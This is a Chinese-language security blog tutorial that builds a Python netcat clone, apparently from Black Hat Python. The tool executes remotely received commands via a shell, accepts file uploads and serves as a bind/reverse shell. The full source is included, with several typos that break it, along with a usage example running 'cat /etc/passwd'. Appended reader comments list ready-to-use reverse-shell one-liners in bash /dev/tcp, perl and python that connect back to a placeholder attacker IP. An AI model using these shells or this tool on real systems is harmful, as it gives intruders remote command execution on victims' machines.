*本文作者:sjy93812,属于FreeBuf原创奖励计划,禁止转载
0×00起因
之前在一个服务器上做测试的时候需要从本地连到服务器上,但是服务器没有开ssh服务,但是有python环境,想着自己写一个脚本可以从自己本地连接到服务器,然后服务器端可以将处理完的请求结果返回到本地。
0×01设计的构图
0×02编码实现
① 服务器与本地实现通讯
首先我们编写在服务器端需要运行的程序,这个程序主要的功能就是接收传入的数据然后对传入的数据进行处理,再然后就是把处理完的结果发送出去。
大概用着这几个模块,然后定义几个全局的变量。
然后编写我们的主函数
这里我们对之前的变量进行全局化,然后检测当脚本运行时是否携带命令,如果没有带命令参数则返回我们的提示信息。
接下来,我们开始写我们的功能函数,第一个功能就是能否对外发送信息,并接收到返回的信息。
这里我们定义一个函数,首先使用socket创建一个客户端,然后尝试连接指定的地址和端口,默认已经连接成功。然后这里判断该函数是否被传入了数据,如果传入的数据不为空,就将传入的数据发送到指定的地址。
接着我们要等待是否有返回包,对返回包进行接收:
这里首先测试一下,可以使用向百度发送一个get请求看是否会正常接收到返回的数据。
这里先将target设置为www.baidu.com port设置为80 如下图
然后运行程序,可以看到有返回数据,证明这里的发送数据和接收数据的功能是成功的。
这里已经可以得到输入了,接下来就是我们要把得到的命令放在本地的操作系统中去运行。
这里我们定义一个run_command函数去执行我们的系统命令还有返回执行结果。
然后我们测试一下这个函数是否可以成功运行。
我们这里执行一个pwd的本地命令,看是否可以正常的运行并返回
然后我们写一个类似于服务端的程序,这个脚本运行在服务器端,必然不会主动去发送请求,必须先接收到命令,然后把命令执行再将命令执行的结果返回。
这里我们测试服务端是否可以正常使用,这里当服务端接收到数据之后,将数据打印出来,并且向客户端返回信息。
这里可以看到服务器端和我们本地的客户端已经可以正常通信了,我们把几个重要的函数都已经测试成功了,后续将把这些函数串联起来,并实现简单的shell反弹效果。
②本地执行简单的服务器命令
在服务器端代码中添加多线程函数,用于处理多个客户端连接的问题,首先我们在loop_server函数中加入多线程处理多个客户端连接的代码,这里的意思为每当传入一个端户端连接时启动一个新的线程去处理。
将主函数进行调整,把loop_server函数融入到main函数中,然后将主函数设置为首先启动的函数。
此时我们如果直接测试这个脚本的话,你会发现每当运行的时候就会直接退出了,也没有报错,我们分析一下就会发现,这里我们没有启动监听,自然就会退出了,这里我们要写上当没有监听时,我们将线程先阻塞掉,添加以下代码
这里可以看到需要两个参数,一个是target一个是port,我们设置成,这两个参数我们都在命令行中获取到,在主函数中添加以下代码:
这段代码的意思就是在命令行中读取相应的参数,读取到响应的参数之后就要按照不同的参数来启动不同的服务了
这个函数就是为了接收客户端发来的命令,并且调用本地执行,然后将执行的结果返回给客户端。
我们直接来启动我们的服务器端的脚本:
L参数是给脚本说要启动监听,p参数是为了告诉脚本要运行在9999端口上,-c命令是说明我们要执行的是命令功能。
我们在客户端同样启动我们的脚本
T参数是为了告诉脚本我们要连接的目标,p就是我们要连接的目标的端口
按 ctrl+d键来告诉脚本接下来的命令要发送
按下之后服务器端会给你一个提示,说明已经准备好了,可以发送命令了
我们这里使用pwd命令来测试
这里服务器端返回了消息,这里我们就把一个简单的命令执行写完了,之后会往里添加文件上传等功能。这里提供一个完整的测试代码下载地址:链接: https://pan.baidu.com/s/1o76TH4e 密码: np3n
*本文作者:sjy93812,属于FreeBuf原创奖励计划,禁止转载
-
#!/usr/bin/env python
#coding:utf-8
#data:20140414
import sys,socket,getopt,threading,subprocess#定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0def client_sender(buffer):
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:
#连接到目标主机
client.connection((target,port))
if len(buffer):
client.send(buffer)
while True:
#现在等待数据回传
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print response,
#等待更多的输入
buffer = raw_input("")
buffer += "\n"
#发送出去
client.send(buffer)
except:
print "[*] Exception! Exiting."
#关闭连接
client.close()def server_loop():
global target
#如果没有定义目标,那么我们监听所有接口
if not len(target):
target = ’0.0.0.0′
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port))
server.listen(5)
while True:
client_socket,addr = server.accept()
#分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler,atgs=(client_socket,))
client_thread.start()def run_command(command):
#换行
command = command.rstrip()
#运行命令并将输出返回
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
except:
output = "Failed to execute command.\r\n"
#将输出发送
return outputdef client_handler(client_socket):
global upload
global execute
global command#检测上传文件
if len(upload_destination):
#读取所有的字符并写下目标
file_buffer = ""
#持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
#现在我们接收这些数据并将他们写出来
try:
file_descriptor = open(upload_destination,‘wb’)
file_descriptor.write(file_buffer)
file_descriptor.close()
#确认文件已经写出来
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
#检查命令执行
if len(excute):
#运行命令
output = run_command(execute)
client_socket.send(output)
#如果需要一个命令行shell,那么我们进入 另一个寻黄
if command:
while True:
#跳出一个窗口
client_socket.send("<BHP:#> ")
#现在我们接收文件知道发现换行符(enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
#返回就将命令输出
response = run_command(cmd_buffer)
#返回响应数据
client_socket.send(response)def usage():
print "BHP Net Tool"
print
print "Usage: bhpnet.py -t target_host -p port"
print "-l –listen -listen on [host]:[port] for incoming connections"
print "-e execute-file_to_run -execute the given file upon receiving a connection"
print "-c –command -initialize a command shell"
print "-u –upload=destination"
print
print
print "Examples: "
print "hpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo ‘ABCDEFGHI’ | ./bhpnet.py -t 192.168.0.1 -p 135"def main():
global listen
global port
global execute
global command
global upload_destination
global target#判断是否输入数据,无则调用usage函数输出帮助信息
if not len(sys.argv[1:]):
usage()#读取命令行选项
try:
opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",["help","listen","execute","target","port","command","upload"])
except getopt.GetopError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","–help"):
usage()
elif o in ("-l","–listen"):
listen = True
elif o in ("-e","–execute"):
execute = a
elif o in ("-c","–commandshell"):
command = True
elif o in ("-u","–upload"):
upload_destination = a
elif o in ("-t","–target"):
target = a
elif o in ("-p","–port"):
port = int(a)
else:
assert False,"Unhandled Option"
#我们是进行监听还是仅从标准输入发送数据
if not listen and len(target) and port > 0:
#从命令行读取内存数据
#这里将阻塞,所以不在想标准输入发送数据时发送CTRL-D
buffer = sys.stdin.read()
#发送数据
client_sender(buffer)
#我们开始监听并准备上传文件、执行命令
#放置一个反弹shell
#取决于上面的命令行选项
if listen:
server_loop()main()
亮了( 0)
这些评论亮了
$ exec 5<> /dev/tcp/your-fuxking-public-ip/your-fuxking-port 0>&1
$ cat <&5 | while read line; do $line 2>&5 >&5; done
2、利用bash弹
在目标机器上执行
bash -i >& /dev/tcp/your-fuxking-public-ip/your-fuxking-port 0>&1
3、利用perl弹
perl -e 'use Socket;$i="your-fuxking-public-ip";$p=your-fuxking-port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
4、利用python弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-fuxking-public-ip",your-fuxking-port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'